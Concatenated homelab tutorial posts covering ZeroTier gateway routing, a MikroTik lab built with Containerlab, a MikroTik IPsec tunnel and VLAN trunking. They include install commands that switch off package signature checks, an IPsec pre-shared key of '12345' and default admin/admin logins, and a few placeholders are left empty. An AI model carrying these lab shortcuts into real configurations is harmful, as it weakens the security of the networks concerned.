* **(Optional) For full internet gateway functionality:** If you want your MikroTik to act as the internet gateway for *all* ZeroTier clients (similar to your Ubuntu/Debian setup), you'll need additional NAT and routing configuration.
* **Managed Route in ZeroTier Central:** Add `0.0.0.0/0` via your MikroTik's ZeroTier IP in the ZeroTier Central "Managed Routes" section.
* **NAT Rule on MikroTik:** You'll need a NAT rule on your MikroTik to masquerade traffic coming from the ZeroTier interface out to your WAN interface.
```
/ip firewall nat
add chain=srcnat action=masquerade out-interface= src-address=
```
*Replace `` (e.g., `ether1-wan`) and `` (e.g., `10.147.17.0/24`).*
Optionally, you need to tell your ZeroTier network that all internet traffic (the `0.0.0.0/0` route) should be directed through your Ubuntu/Debian client's or Mikrotik router's ZeroTier IP address if desired.
* **Go to ZeroTier Central:** Log in to [my.zerotier.com](https://my.zerotier.com/) and navigate to your network's settings.
* **Locate the "Managed Routes" section.**
* **Add a new route:**
* **Destination:** Enter `0.0.0.0/0` (this represents all internet traffic).
* **Via:** Enter the **ZeroTier IP address** of your Zerotier client (the device you just configured). You can find this IP address in the "Members" section of your ZeroTier network settings, next to your Debian client's entry.
### Step 7: Verify Connectivity
After authorising, your devices should now be connected to your ZeroTier network.
* **Check IP Addresses:** On each device, you should see a new network adapter (e.g., "ZeroTier One") with an IP address from the range you configured in ZeroTier Central (e.g., 10.147.17.x).
* **Ping Test:** From one ZeroTier-connected device, try to ping the ZeroTier IP address of another connected device.
* For example, if your homelab server's ZeroTier IP is `10.147.17.10` and your laptop's ZeroTier IP is `10.147.17.20`, you should be able to `ping 10.147.17.10` from your laptop.
* **Access Services:** If you've set up managed routes, and configured your exit node properly for IP Forwarding and iptables rules, you should now be able to access services on your local homelab network (e.g., `192.168.1.x`) by addressing them via your homelab's ZeroTier gateway device.
* **Verify Internet Gateway (if configured):** If you set up an exit node for internet traffic, from a remote ZeroTier client, visit . The displayed IP address should match the public IP address of your ZeroTier gateway (Ubuntu/Debian client or MikroTik router).
That's it! we've successfully set up our ZeroTier network, allowing secure and direct communication between your devices, regardless of their physical location or underlying network obstacles like CGNAT.
## Conclusion: The Horizon of Connectivity
The journey of the homelab enthusiast is one of continuous evolution, a relentless pursuit of control and accessibility in an ever-changing digital landscape. I started with the simple confines of a local network, ventured into the complexities of public exposure, navigated the historical terrain of IPsec and SSL VPNs, embraced the efficiency of WireGuard, and deftly sidestepped the formidable barrier of CGNAT. My personal odyssey, marked by the unexpected blocking of Tailscale, underscores a fundamental truth: **the quest for resilient connectivity is never truly over.**
This is where ZeroTier steps in, not just as an alternative, but as a powerful, flexible solution for building my own secure, decentralised network fabric. It’s a testament to my ability to adapt, to overcome, and to leverage innovation when traditional methods fall short. With ZeroTier, my homelab is no longer tethered by the whims of my ISP or the limitations of my physical location. It transforms into a truly global, yet intensely private, resource accessible from anywhere, on any authorised device.
So, as my embark on, or continue, my self-hosting adventure, embrace the power of ZeroTier. It's more than just a tool; it's a declaration of digital sovereignty, empowering me to build the connected world I envision, one secure node at a time. The path ahead may still hold unforeseen challenges, but with ZeroTier in my arsenal, I'm better equipped than ever to conquer them. What will you build next with your newly unleashed homelab?
# MikroTik networking lab setup with Containerlab
I have recently heard about Containerlab on multiple podcasts, and everyone on those podcasts talked good stuff about it. So I decided to check it out in my own time to see what the hype is all about.
First of all, I have been using GNS3 for my networking labs on my local computer or GNS3 VM setup. GNS3 has been an amazing opensource project for all walks of life since it has a growing community of supporting different vendors plus docker container. When I started my IT journey, it was quite expensive to have an own networking lab even for CCNA level studying. I vividly remember that every network engineer used to have a full stacks of rack with Cisco routers and switches for their home lab. It was a very expensive investment to enter the realm of networking industry. There was a virtual network simulator from Cisco called Packet Tracer but it was nothing like working on the actual networking gears. So it was quite confusing and that's how the training institutes used to train networking students.
After I found there was a better solution than Packet Tracer and full stacks of noisy expensive networking gears in rack, I saw the opportunity of actual learning networking with virtual environment. It was and still is GNS3. Initially it was too good to be true but the more I used the software, the more I understand how important the opensource is for all IT tech's home lab. It opened my eyes to look around more and be aware of the existence of all opensource solutions for home and business. The limit is the sky. If I have a willingness to learn something these days, I can learn it free on YouTube or reading some blog posts and articles. For home lab setup, most of the things can be done with a bare minimum hardware and some opensource/free software. That's how I have been doing my home lab and learning new stuffs in IT.
Technologies have been changing exponentially nowadays. It is a bit difficult to chew everything and even digest them all to get my head around it. However this is how we roll in IT if we want to keep abreast with new tech. Learning never stops and life goes on.
Now let's explore a little bit about Containerlab. Assuming that you are using one of the popular Linux distributions like Ubuntu. Here is how to install Containerlab through apt package manager.
```bash
echo "deb [trusted=yes] https://apt.fury.io/netdevops/ /" | \
sudo tee -a /etc/apt/sources.list.d/netdevops.list
sudo apt update && sudo apt install containerlab
```
Or run the following commands if you are using RPM based package manager like yum.
```bash
yum-config-manager --add-repo=https://yum.fury.io/netdevops/ && \
echo "gpgcheck=0" | sudo tee -a /etc/yum.repos.d/yum.fury.io_netdevops_.repo
sudo yum install containerlab
```
After the installation, verify that it has been probably installed on your computer by running the following command.
```bash
clab version
_ _ _
_ (_) | | | |
____ ___ ____ | |_ ____ _ ____ ____ ____| | ____| | _
/ ___) _ \| _ \| _)/ _ | | _ \ / _ )/ ___) |/ _ | || \
( (__| |_|| | | | |_( ( | | | | | ( (/ /| | | ( ( | | |_) )
\____)___/|_| |_|\___)_||_|_|_| |_|\____)_| |_|\_||_|____/
version: 0.47.2
commit: 0b3991f0
date: 2023-10-26T10:18:52Z
source: https://github.com/srl-labs/containerlab
rel. notes: https://containerlab.dev/rn/0.47/#0472
```
If you want to upgrade your current version to the latest one available at its repository, run the following command.
```bash
sudo containerlab version upgrade
```
Now it is ready to start using the Containerlab for the MikroTik lab. It is quite easy to bring up a whole lab within a few minutes without adding required images or templates like GNS3. All you need to initiate the lab is a YAML file looks like this.
```yaml
name: mtlab
topology:
nodes:
mtr1:
kind: vr-ros
image: docker.io/iparchitechs/chr:stable
mtr2:
kind: vr-ros
image: docker.io/iparchitechs/chr:stable
mtr3:
kind: vr-ros
image: docker.io/iparchitechs/chr:stable
links:
- endpoints: ["mtr1:eth1", "mtr2:eth1"]
- endpoints: ["mtr2:eth2", "mtr3:eth2"]
- endpoints: ["mtr3:eth3", "mtr1:eth3"]
```
This YAML configuration is for defining a topology for Containerlab, a tool used for creating and managing container-based network labs. In this specific configuration, a network topology named "mtlab" is defined with three virtual routers running a RouterOS (ROS) container image. Let's break down the YAML file:
1. `name: mtlab`: This specifies the name of the network topology, which is "mtlab."
2. `topology:`: This section defines the network topology and contains two sub-sections: `nodes` and `links`.
a. `nodes:`: This subsection defines the network nodes, which are containers running virtual routers. In this case, there are three nodes:
* `mtr*`: This is the first virtual router, identified by the name "mtr\*." It is of kind "vr-ros," which suggests it's a virtual router running RouterOS. It uses the "docker.io/iparchitechs/chr:stable" container image.
b. `links:`: This subsection defines the connections between the nodes. There are three link connections specified:
* `endpoints: ["mtr1:eth1", "mtr2:eth1"]`: This defines a link connecting the "eth1" interface of "mtr1" to the "eth1" interface of "mtr2."
* `endpoints: ["mtr2:eth2", "mtr3:eth2"]`: This defines a link connecting the "eth2" interface of "mtr2" to the "eth2" interface of "mtr3."
* `endpoints: ["mtr3:eth3", "mtr1:eth3"]`: This defines a link connecting the "eth3" interface of "mtr3" to the "eth3" interface of "mtr1."
In summary, this YAML configuration describes a network topology with three virtual routers running RouterOS (ROS) containers. These routers are connected through defined links, creating a network setup for further testing and experimentation.
After that, it is ready to deploy the network topology with the following command to stand up the lab. If you haven't deployed the YAML with Containerlab previously, it will take a few more seconds to download the Docker images from Docker Hub.
```bash
sudo clab deploy -t mtlab.yml
INFO[0000] Containerlab v0.47.2 started
INFO[0000] Parsing & checking topology file: mtlab.yml
INFO[0000] Creating docker network: Name="clab", IPv4Subnet="172.20.20.0/24", IPv6Subnet="2001:172:20:20::/64", MTU='ל'
INFO[0000] Creating lab directory: /data/code/containerlab/test/clab-mtlab
INFO[0000] Creating container: "mtr2"
INFO[0000] Creating container: "mtr1"
INFO[0000] Creating container: "mtr3"
INFO[0001] Creating link: mtr2:eth2 <--> mtr3:eth2
INFO[0001] Creating link: mtr1:eth1 <--> mtr2:eth1
INFO[0001] Creating link: mtr3:eth3 <--> mtr1:eth3
INFO[0001] Adding containerlab host entries to /etc/hosts file
INFO[0001] Adding ssh config for containerlab nodes
+---+-----------------+--------------+-----------------------------------+--------+---------+----------------+----------------------+
| # | Name | Container ID | Image | Kind | State | IPv4 Address | IPv6 Address |
+---+-----------------+--------------+-----------------------------------+--------+---------+----------------+----------------------+
| 1 | clab-mtlab-mtr1 | 6d55a849f9ca | docker.io/iparchitechs/chr:stable | vr-ros | running | 172.20.20.3/24 | 2001:172:20:20::3/64 |
| 2 | clab-mtlab-mtr2 | 58e47bd51dcb | docker.io/iparchitechs/chr:stable | vr-ros | running | 172.20.20.2/24 | 2001:172:20:20::2/64 |
| 3 | clab-mtlab-mtr3 | 47468cb9a224 | docker.io/iparchitechs/chr:stable | vr-ros | running | 172.20.20.4/24 | 2001:172:20:20::4/64 |
+---+-----------------+--------------+-----------------------------------+--------+---------+----------------+----------------------+
```
As you can see, it has been setup according to what we have defined in the YAML file. To ssh into each virtual router, both DNS name and IP can be used for remote access. The default login username is 'admin' and the password 'admin'.
```bash
ssh admin@clab-mtlab-mtr1
Warning: Permanently added 'clab-mtlab-mtr1' (RSA) to the list of known hosts.
admin@clab-mtlab-mtr1's password:
MMM MMM KKK TTTTTTTTTTT KKK
MMMM MMMM KKK TTTTTTTTTTT KKK
MMM MMMM MMM III KKK KKK RRRRRR OOOOOO TTT III KKK KKK
MMM MM MMM III KKKKK RRR RRR OOO OOO TTT III KKKKK
MMM MMM III KKK KKK RRRRRR OOO OOO TTT III KKK KKK
MMM MMM III KKK KKK RRR RRR OOOOOO TTT III KKK KKK
MikroTik RouterOS 7.2 (c) 1999-2022 https://www.mikrotik.com/
Press F1 for help
[admin@mtr1] > export
# nov/05/2023 05:44:08 by RouterOS 7.2
# software id =
#
/disk
set sata1 disabled=no
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/port
set 0 name=serial0
/ip address
add address=172.31.255.30/30 interface=ether1 network=172.31.255.28
/ip dhcp-client
add interface=ether1
/system identity
set name=mtr1
[admin@mtr1] > quit
Connection to clab-mtlab-mtr1 closed.
```
If you want to visualise the topology, it can also done with this command.
```bash
sudo clab graph -t mtlab.yml
INFO[0000] Parsing & checking topology file: mtlab.yml
INFO[0000] Serving static files from directory: /etc/containerlab/templates/graph/nextui/static
INFO[0000] Serving topology graph on http://0.0.0.0:50080
```
To exit out of the Containerlab graph, press ctrl + c. Within a few seconds, you have a whole MikroTik lab setup with Containerlab; the major benefits with this approach are re-usability and version controllable with Git. All the information about what kind of devices, what version of RouterOS and links between all routers are captured in one YAML file. I am quite fancy of this kind of network lab setup. It will save lots of my time and energy not to find the right images for templates available in GNS3. I can see myself using Containerlab a lot not only for the networking lab but also for any other kinds of devices available on it.
If you want to wipe it clean after using the lab (ensure that you have the devices' configuration backup though), you can use the following command to clean it up. Of course, you can also definitely provide your own startup configuration on each device with `startup-config` key if you like.
```bash
sudo clab destroy -t mtlab.yml
INFO[0000] Parsing & checking topology file: mtlab.yml
INFO[0000] Destroying lab: mtlab
INFO[0000] Removed container: clab-mtlab-mtr2
INFO[0000] Removed container: clab-mtlab-mtr3
INFO[0000] Removed container: clab-mtlab-mtr1
INFO[0000] Removing containerlab host entries from /etc/hosts file
INFO[0000] Removing ssh config for containerlab nodes
```
# Mikrotik IPsec Tunnel Setup
Although there are a few new and shiny VPN tunneling protocols like WireGuard, IPsec is still the king of enterprise grade for site-to-site VPN tunnteling. It is not as easy as WireGuard to setup on Mikrotik. Personally I like Mikrotik a lot because of its RouterOS based on Linux and pricing model for all hardware. At least, it doesn't break my bank for all the features I want to work with.
## Prerequisites
* GNS3 Emulator
* Mikrotik CHR appliance setup on GNS3
* Mikrotik RouterOS version 7.7
* Basic level of comfortableness with Mikrotik RouterOS CLI and GNS3 setup
## Network Topology
Mikrotik IPsec Tunneling
* Two sites - HQ and Cloud; each site has the WAN IP address of 10.20.30.0/24 subnet as shown in the diagram.
* HQ has two VLANs - 100 for Dev team and 200 for OPS team at its site. Only Dev team can access to the resources in Cloud since it is not that cheap.
* Cloud has only one connected subnet of 172.31.1.0/24 where they host their Dev servers.
* Internet switch is the representation of the internet connection via NAT in GNS3.
## Configuration
### HQ router config
Here is the full configuration of HQ router on the left in the diagram and its description.
```
# Change the device name
/system identity
set name=hq
# Create two bridge interfaces, "dev" and "ops"
/interface bridge
add name=dev
add name=ops
# Name the interface ether1 to "wan"
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no name=wan
# Assign vlan 100 and 200 to relevant interface and its name
/interface vlan
add interface=ether2 name=dev1 vlan-id=100
add interface=ether3 name=dev2 vlan-id=100
add interface=ether4 name=ops1 vlan-id=200
add interface=ether5 name=ops2 vlan-id=200
# Assign the physical interfaces to relevant bridge with its VLAN tag
/interface bridge port
add bridge=dev interface=ether2 pvid=100
add bridge=dev interface=ether3 pvid=100
add bridge=ops interface=ether4 pvid=200
add bridge=ops interface=ether5 pvid=200
# Assign WAN interface IP and LAN IPs to both dev and ops bridges.
/ip address
add address=10.20.30.10/24 comment=WAN interface=wan network=10.20.30.0
add address=192.168.10.1/24 interface=dev network=192.168.10.0
add address=192.168.20.1/24 interface=ops network=192.168.20.0
# Create IP pools for both LAN bridges for DHCP server
/ip pool
add name=dev ranges=192.168.10.2-192.168.10.254
add name=ops ranges=192.168.20.2-192.168.20.254
# Ensure to disale DHCP client on the interface ether1 or "wan"
/ip dhcp-client
add disabled=yes interface=wan
# Define DHCP servers with dev and ops IP pools
/ip dhcp-server
add address-pool=dev interface=dev name=dhcp1
add address-pool=ops interface=ops name=dhcp2
# Define DHCP parameters for both DHCP servers created in previous step
# At this stage, the PCs connected each bridge interface should get IP addresses from DHCP servers
/ip dhcp-server network
add address=192.168.10.0/24 dns-server=1.1.1.1 gateway=192.168.10.1
add address=192.168.20.0/24 dns-server=8.8.8.8 gateway=192.168.20.1
# HQ side IPsec configuration
# Create IPsec profile firstly
/ip ipsec profile
add dh-group=modp2048 enc-algorithm=aes-256 hash-algorithm=sha512 name=ipsec-to-cloud
# Define the peer "cloud" for IPsec
/ip ipsec peer
add address=10.20.30.254/32 exchange-mode=ike2 name=ipsec-cloud profile=ipsec-to-cloud
# Set IPsec proposal
/ip ipsec proposal
add auth-algorithms=sha512 enc-algorithms=aes-256-cbc name=ike2-proposal pfs-group=modp2048
# Define IPsec policy with its parameters
/ip ipsec policy
add dst-address=172.31.1.0/24 peer=ipsec-cloud proposal=ike2-proposal src-address=192.168.10.0/24 tunnel=yes
# Define the pre shared key for IPsec tunnel authentication
/ip ipsec identity
add peer=ipsec-cloud auth-method=pre-shared-key secret=12345
# Configure the firewall NAT rules for IPsec and masquerade to pass the traffic from LAN to WAN
/ip firewall nat
add action=accept chain=srcnat comment=ipsec dst-address=172.31.1.0/24 src-address=192.168.10.0/24
add action=masquerade chain=srcnat out-interface=wan
# Set a default route for HQ's LAN to Cloud's LAN traffic through IPsec tunnel
/ip route
add comment=ipsec disabled=no distance=1 dst-address=172.31.1.0/24 gateway=dev
```
### Cloud router config
Here is the full configuration on Cloud router for both LAN and WAN setup.
```
# Change the device name
/system identity
set name=cloud
# Create "srv" bridge interface to serve as LAN
/interface bridge
add name=srv
# Name the interface ether1 as "wan"
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no name=wan
# Assign the interface ether2 and ether3 to srv bridge
/interface bridge port
add bridge=srv interface=ether2
add bridge=srv interface=ether3
# Assign WAN and LAN IPs
/ip address
add address=10.20.30.254/24 comment=WAN interface=wan network=10.20.30.0
add address=172.31.1.1/24 interface=srv network=172.31.1.0
# Create IP pool for DHCP server on LAN
/ip pool
add name=dhcp1 ranges=172.31.1.2-172.31.1.254
# Ensure to disable the DHCP client on ether1 or wan interface
/ip dhcp-client
add disabled=yes interface=wan
# Configure DHCP server on LAN side at srv bridge
/ip dhcp-server
add address-pool=dhcp1 interface=srv name=dhcp1
# Set DHCP server network parameters
# At this stage, all servers connected to "srv" bridge should get IP addresses from DHCP server
/ip dhcp-server network
add address=172.31.1.0/24 dns-server=1.1.1.1 domain=cloud.com gateway=172.31.1.1
# Cloud IPsec configuration
/ip ipsec profile
add dh-group=modp2048 enc-algorithm=aes-256 hash-algorithm=sha512 name=ipsec-to-hq
/ip ipsec peer
add address=10.20.30.10/32 exchange-mode=ike2 name=ipsec-hq profile=ipsec-to-hq
/ip ipsec proposal
add auth-algorithms=sha512 enc-algorithms=aes-256-cbc name=ike2-proposal pfs-group=modp2048
/ip ipsec policy
add dst-address=192.168.10.0/24 peer=ipsec-hq proposal=ike2-proposal src-address=172.31.1.0/24 tunnel=yes
/ip ipsec identity
add peer=ipsec-hq auth-method=pre-shared-key secret=12345
# Configure firewall NAT rules for IPsec tunnel and masquerade to pass LAN to WAN traffic
/ip firewall nat
add action=accept chain=srcnat comment=ipsec dst-address=192.168.10.0/24 src-address=172.31.1.0/24
add action=masquerade chain=srcnat out-interface=wan
# Define a static route for Cloud's LAN to HQ's LAN traffic throug IPsec tunnel
/ip route
add comment=ipsec disabled=no distance=1 dst-address=192.168.10.0/24 gateway=srv
```
## Testing
To test the IPsec tunnel connectivity, run the following command on each side of the tunnel.
```
[admin@hq] > ip ipsec active-peers print
Columns: ID, STATE, UPTIME, PH2-TOTAL, REMOTE-ADDRESS
# ID STATE UPTIME PH2-TOTAL REMOTE-ADDRESS
0 10.20.30.254 established 1h48m41s 1 10.20.30.254
[admin@cloud] > ip ipsec active-peers print
Flags: R - RESPONDER
Columns: ID, STATE, UPTIME, PH2-TOTAL, REMOTE-ADDRESS
# ID STATE UPTIME PH2-TOTAL REMOTE-ADDRESS
0 R 10.20.30.10 established 1h49m23s 1 10.20.30.10
```
Based on the above output, the IPsec tunnel is up and running. By now, you should be able to ping the servers in cloud from dev1 and dev2 PCs at HQ site.
```
# srv1 in Cloud
srv1> dhcp
DORA IP 172.31.1.254/24 GW 172.31.1.1
srv1> show ip
NAME : srv1[1]
IP/MASK : 172.31.1.254/24
GATEWAY : 172.31.1.1
DNS : 1.1.1.1
DHCP SERVER : 172.31.1.1
DHCP LEASE : 582, 600/300/525
DOMAIN NAME : cloud.com
MAC : 00:50:79:66:68:02
LPORT : 10054
RHOST:PORT : 127.0.0.1:10055
MTU : 1500
# srv2 in Cloud
srv2> dhcp
DORA IP 172.31.1.253/24 GW 172.31.1.1
srv2> show ip
NAME : srv2[1]
IP/MASK : 172.31.1.253/24
GATEWAY : 172.31.1.1
DNS : 1.1.1.1
DHCP SERVER : 172.31.1.1
DHCP LEASE : 522, 600/300/525
DOMAIN NAME : cloud.com
MAC : 00:50:79:66:68:03
LPORT : 10056
RHOST:PORT : 127.0.0.1:10057
MTU : 1500
# dev1 at HQ
dev1> dhcp
DORA IP 192.168.10.254/24 GW 192.168.10.1
dev1> show ip
NAME : dev1[1]
IP/MASK : 192.168.10.254/24
GATEWAY : 192.168.10.1
DNS : 1.1.1.1
DHCP SERVER : 192.168.10.1
DHCP LEASE : 588, 600/300/525
MAC : 00:50:79:66:68:00
LPORT : 10018
RHOST:PORT : 127.0.0.1:10019
MTU : 1500
dev1> ping 172.31.1.254
84 bytes from 172.31.1.254 icmp_seq=1 ttl=62 time=4.620 ms
84 bytes from 172.31.1.254 icmp_seq=2 ttl=62 time=1.299 ms
84 bytes from 172.31.1.254 icmp_seq=3 ttl=62 time=1.245 ms
84 bytes from 172.31.1.254 icmp_seq=4 ttl=62 time=1.179 ms
84 bytes from 172.31.1.254 icmp_seq=5 ttl=62 time=1.358 ms
dev1> ping 172.31.1.253
84 bytes from 172.31.1.253 icmp_seq=1 ttl=62 time=2.229 ms
84 bytes from 172.31.1.253 icmp_seq=2 ttl=62 time=1.154 ms
84 bytes from 172.31.1.253 icmp_seq=3 ttl=62 time=1.285 ms
84 bytes from 172.31.1.253 icmp_seq=4 ttl=62 time=1.495 ms
84 bytes from 172.31.1.253 icmp_seq=5 ttl=62 time=1.370 ms
# dev2 at HQ
dev2> dhcp
DORA IP 192.168.10.253/24 GW 192.168.10.1
dev2> show ip
NAME : dev2[1]
IP/MASK : 192.168.10.253/24
GATEWAY : 192.168.10.1
DNS : 1.1.1.1
DHCP SERVER : 192.168.10.1
DHCP LEASE : 585, 600/300/525
MAC : 00:50:79:66:68:01
LPORT : 10052
RHOST:PORT : 127.0.0.1:10053
MTU : 1500
dev2> ping 172.31.1.254
84 bytes from 172.31.1.254 icmp_seq=1 ttl=62 time=1.406 ms
84 bytes from 172.31.1.254 icmp_seq=2 ttl=62 time=1.353 ms
84 bytes from 172.31.1.254 icmp_seq=3 ttl=62 time=1.433 ms
84 bytes from 172.31.1.254 icmp_seq=4 ttl=62 time=1.287 ms
84 bytes from 172.31.1.254 icmp_seq=5 ttl=62 time=1.130 ms
dev2> ping 172.31.1.253
84 bytes from 172.31.1.253 icmp_seq=1 ttl=62 time=1.162 ms
84 bytes from 172.31.1.253 icmp_seq=2 ttl=62 time=1.310 ms
84 bytes from 172.31.1.253 icmp_seq=3 ttl=62 time=1.039 ms
84 bytes from 172.31.1.253 icmp_seq=4 ttl=62 time=1.331 ms
84 bytes from 172.31.1.253 icmp_seq=5 ttl=62 time=1.367 ms
# ops1 at HQ
ops1> dhcp
DORA IP 192.168.20.254/24 GW 192.168.20.1
ops1> show ip
NAME : ops1[1]
IP/MASK : 192.168.20.254/24
GATEWAY : 192.168.20.1
DNS : 8.8.8.8
DHCP SERVER : 192.168.20.1
DHCP LEASE : 590, 600/300/525
MAC : 00:50:79:66:68:04
LPORT : 10058
RHOST:PORT : 127.0.0.1:10059
MTU : 1500
ops1> ping 172.31.1.254
172.31.1.254 icmp_seq=1 timeout
172.31.1.254 icmp_seq=2 timeout
172.31.1.254 icmp_seq=3 timeout
172.31.1.254 icmp_seq=4 timeout
172.31.1.254 icmp_seq=5 timeout
ops1> ping 172.31.1.253
172.31.1.253 icmp_seq=1 timeout
172.31.1.253 icmp_seq=2 timeout
172.31.1.253 icmp_seq=3 timeout
172.31.1.253 icmp_seq=4 timeout
172.31.1.253 icmp_seq=5 timeout
# ops2 at HQ
ops2> dhcp
DORA IP 192.168.20.253/24 GW 192.168.20.1
ops2> show ip
NAME : ops2[1]
IP/MASK : 192.168.20.253/24
GATEWAY : 192.168.20.1
DNS : 8.8.8.8
DHCP SERVER : 192.168.20.1
DHCP LEASE : 580, 600/300/525
MAC : 00:50:79:66:68:05
LPORT : 10060
RHOST:PORT : 127.0.0.1:10061
MTU : 1500
ops2> ping 172.31.1.254
172.31.1.254 icmp_seq=1 timeout
172.31.1.254 icmp_seq=2 timeout
172.31.1.254 icmp_seq=3 timeout
172.31.1.254 icmp_seq=4 timeout
172.31.1.254 icmp_seq=5 timeout
ops2> ping 172.31.1.253
172.31.1.253 icmp_seq=1 timeout
172.31.1.253 icmp_seq=2 timeout
172.31.1.253 icmp_seq=3 timeout
172.31.1.253 icmp_seq=4 timeout
172.31.1.253 icmp_seq=5 timeout
```
The ping test should be also successful from srv1 and srv2 in Cloud to dev1 and dev2 at HQ as well.
# Mikrotik VLAN Trunking
VLAN (Virtual Local Area Network) is not something new and unique to Mikrotik networking devices. It is an amazing technology we have to segregate the different LANs on Layer 2 switching. Different vendors implement the VLAN and VLAN trunking technology differently but all follows the same 802.1q standard for tagging and untagging VLANs on their devices.
In this article, I would like to demostrate the VLAN capability on Mikrotik and how we can configure it easily in RouterOS. Note that most of the Mikrotik networking devices come with dedicated switch chip on RouterBoard to perform hardware offloading for more efficient switching at Layer 2 rather than passing the loads to main CPU. Since the Mikrotik device comes with RouterOS can configured as router with sub-interface for VLAN tagging which you would see it commonly in router-on-a-stick scenario, and switch with proper VLAN tagging and untagging to utilise the dedicated switch chip on RouterBoard.
## Prerequisites
* GNS3 Emulator
* Mikrotik CHR appliance setup on GNS3
* Mikrotik RouterOS version 7.7
* Basic level of comfortableness with Mikrotik RouterOS CLI and GNS3 setup
## Network Topology
Mikrotik VLAN Trunking
* Two swtiches - mtr2 and mtr3; each has two VLANs namely ops1 and ops2
* One router - mtr1 which is bridging between two switches with routing capability for internet breakout to NAT1 cloud and inter-VLAN routing
## Configuration
### mtr1 router config
This mtr1 is used as a router therefore it uses the software VLAN sub-interfaces on the physical port of the device. Here is the full configuration of mtr1 router on the top of its topology.
```
# Create two bridges to bridge each VLAN (10 and 20) between mtr2 and mtr3
/interface bridge
add name=lan-br-vlan10
add name=lan-br-vlan20
# Name ether1 as "wan" for easy reference
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no name=wan
# Create software VLAN sub-interfaces on ether2 and ether3 physical ports
/interface vlan
add interface=ether2 name=e2-vl10 vlan-id=10
add interface=ether2 name=e2-vl20 vlan-id=20
add interface=ether3 name=e3-vl10 vlan-id=10
add interface=ether3 name=e3-vl20 vlan-id=20
# Create two ip pools for ops1 network (VLAN10) and ops2 network (VLAN20)
/ip pool
add name=ops1 ranges=192.168.10.2-192.168.10.254
add name=ops2 ranges=192.168.20.2-192.168.20.254
# Setup dhcp-server with the new ip pools on the bridge interfaces
/ip dhcp-server
add address-pool=ops1 interface=lan-br-vlan10 name=dhcp1
add address-pool=ops2 interface=lan-br-vlan20 name=dhcp2
# Assign relevant sub-interface VLAN to appropriate bridge interface
/interface bridge port
add bridge=lan-br-vlan10 interface=e2-vl10
add bridge=lan-br-vlan20 interface=e2-vl20
add bridge=lan-br-vlan10 interface=e3-vl10
add bridge=lan-br-vlan20 interface=e3-vl20
# Assign ip address on the bridge interfaces
/ip address
add address=192.168.10.1/24 interface=lan-br-vlan10 network=192.168.10.0
add address=192.168.20.1/24 interface=lan-br-vlan20 network=192.168.20.0
# Enable dhcp-client on wan port for internet breakout
/ip dhcp-client
add interface=wan
# Configure dhcp network parameters for dhcp servers
/ip dhcp-server network
add address=192.168.10.0/24 dns-server=1.1.1.1 gateway=192.168.10.1
add address=192.168.20.0/24 dns-server=8.8.8.8 gateway=192.168.20.1
# Configure masquerade NAT rule for internet breakout to NAT1 cloud
/ip firewall nat
add action=masquerade chain=srcnat out-interface=wan
# Set the device name as mtr1
/system identity
set name=mtr1
```
### mtr2 switch config
On this mtr2 switch, the way to configure the VLANs is very similar to how it is configured on mtr1 except it doesn't have any routing related configuration. This sort of VLAN setup can also be used to function as L2 switch in RouterOS in case you want to use it for switching capability on the device. In my opinion, the SwOS used for CRS and CSS series from Mikrotik still have a few years to get the point of its maturity thus I think it is a safe bet to stick to RouterOS for now even though you only want to use as a switch. Note that the CSS series are not compatible with RouterOS but only with SwOS. Here is the full configuraiton of mtr2 switch config.
```
# Create two LAN bridges for two VLANs
/interface bridge
add name=lan-br-vlan10
add name=lan-br-vlan20
# Create two sub-interface VLANS on ether1 port
/interface vlan
add interface=ether1 name=ops1 vlan-id=10
add interface=ether1 name=ops2 vlan-id=20
# Bridge the sub-interface VLAN 10 ops1 with the downstream ether2 port
# Also bridge VLAN 20 ops2 sub-interface with the ether3 port
/interface bridge port
add bridge=lan-br-vlan10 interface=ether2
add bridge=lan-br-vlan10 interface=ops1
add bridge=lan-br-vlan20 interface=ether3
add bridge=lan-br-vlan20 interface=ops2
# Assign ip address to VLAN 10 ops1 and VLAN 20 ops2 sub-interfaces
/ip address
add address=192.168.10.2/24 interface=ops1 network=192.168.10.0
add address=192.168.20.2/24 interface=ops2 network=192.168.20.0
# Disable the default dhcp-client on ether1 as not required
/ip dhcp-client
add disabled=yes interface=ether1
# Set system name to mtr2
/system identity
set name=mtr2
```
As you can see in the config, there is no VLAN tagging and untagging but purely use the bridge feature available on Mikrotik to map the VLAN sub-interface and physical ether port(s) to the downstream. It is very simple but powerful to pull it off like that. But it is not the most efficient way to configure the VLAN trunking on Mikrotik
### mtr3 switch config
This mtr3 switch will be used to demonstrate the most efficient way to configure VLAN trunking by utilising switch chip and hardware offloading available on Mikrotik devices. You will notice that there is no software VLAN sub-interface fashion on this device but it uses the VLAN tagging and untagging concept on one main bridge as below.
```
# Create one main bridge which will acts like a switch with VLAN filtering
/interface bridge
add name=sw-br vlan-filtering=yes
# Assign the relevant interfaces with its PVID and the trunk port to the bridge
/interface bridge port
add bridge=sw-br interface=ether2 pvid=10
add bridge=sw-br interface=ether3 pvid=20
add bridge=sw-br interface=ether1
# Configure VLAN tagging and untagging for each vlan with respective interfaces on the bridge
/interface bridge vlan
add bridge=sw-br tagged=ether1 untagged=ether2 vlan-ids=10
add bridge=sw-br tagged=ether1 untagged=ether3 vlan-ids=20
# Disable the default dhcp-client on ether1 as not required
/ip dhcp-client
add disabled=yes interface=ether1
# Set system name to mtr3
/system identity
set name=mtr3
```
Alternatively, we can configure its VLAN setup in a very similar manner but it is only fancier with relevant frame-types option. Note that the ingress is configured at bridge ports and egress at bridge vlans.
```
# Create one main bridge which will acts like a switch with VLAN filtering
/interface bridge
add name=sw-br vlan-filtering=yes
# Assign the relevant interfaces with its PVID and the trunk port to the bridge with its frame-types for ingress configuration
/interface bridge port
add bridge=sw-br interface=ether2 pvid=10 frame-types=admit-only-untagged-and-priority-tagged
add bridge=sw-br interface=ether3 pvid=20 frame-types=admit-only-untagged-and-priority-tagged
add bridge=sw-br interface=ether1 frame-types=admit-only-vlan-tagged
# Configure VLAN trunking on ether1 interface for egress configuration
/interface bridge vlan
add bridge=sw-br tagged=ether1 vlan-ids=10
add bridge=sw-br tagged=ether1 vlan-ids=20
```
As much compact as it can be for the configuration on this mtr3 device, it is the most efficient way to configure the Mikrotik device with RouterOS for switching.
By now, all of the PCs behind the mtr2 and mtr3 switches should have been assigned with the respective IP addresses from DHCP server running on mtr1 router. They should be able to ping to the gateway router mtr1 and to the internet
